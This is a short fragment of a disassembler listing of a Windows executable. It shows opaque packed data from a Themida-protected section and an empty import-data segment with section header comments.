		dd 514B6AE9h, 34F18166h, 0D8815B7Eh, 4CA7B212h,	8E9h, 0C3813900h
		dd 21523E80h, 98A0F08h,	0F000000h, 381h, 1DB8000h, 5E9h
		dd 675BF600h, 0F48A73CFh, 0E4EB8166h, 0B8535201h, 297933AAh
		dd 8B665E5Fh, 0C4B9F5DAh, 6637A863h, 7075D681h,	0BEF1B70Fh
		dd 449AE1ACh, 7FE88166h, 8135B743h, 0FEA57DEh, 0A8C0F25h
		dd 0F000000h, 486h, 0A6BA6600h,	48F0FE4h, 66000000h, 0E88C2DB8h
		dd 0Ah,	7CB3FFE9h, 0DF1734BFh, 815F616Dh, 374FB7E6h, 0E9F56052h
		dd 6, 3EDDB169h, 51618E25h, 8E0Fh, 3A5E0000h, 2CCh dup(3E246E30h)
		dd 0BE6C6E30h, 11Ch dup(0BE6AA696h), 0C3C6A696h, 1DBh dup(0C3C82A6Dh)
		dd 139BD06Dh, 64h dup(139BD06Eh)
dword_5D0468	dd 1BBh	dup(139BD06Eh),	0CBh dup(3A0AEA29h), 9E0AEA29h
					; DATA XREF: Themida_:0056A284o
		dd 0ECh	dup(9FD0C51Ch),	33D0C51Ch, 0A6h	dup(33832D3Ch)
		dd 0CCCCCC3Ch, 9BAh dup(0CCCCCCCCh), 0CCCCCCh, 110h dup(0)
Themida_	ends

; Section 5. (virtual address 001D4000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001D4000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5D4000h
		dd 80h dup(0)
		dd 2D6h	dup(?)
		db 3 dup(?)
byte_5D4D5B	db ?			; DATA XREF: ___:off_431980o
		align 400h
_idata2		ends


		end start